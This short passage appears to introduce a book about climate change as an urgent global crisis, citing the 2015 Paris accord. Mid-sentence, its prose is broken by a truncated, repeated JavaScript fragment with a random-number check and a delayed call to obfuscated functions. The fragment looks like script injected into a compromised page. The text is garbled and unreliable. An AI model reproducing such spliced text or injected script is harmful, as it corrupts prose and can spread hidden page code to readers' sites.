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The Future Is Now

Climate change has been scientifically proven and is here and now. It portends a bleak future for humankind and is a global crisis of great urgency that, thankfully and at last, was acknowledged by the international community at the Paris accord on climate of December 2015. This book is my response dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this phenomenon.
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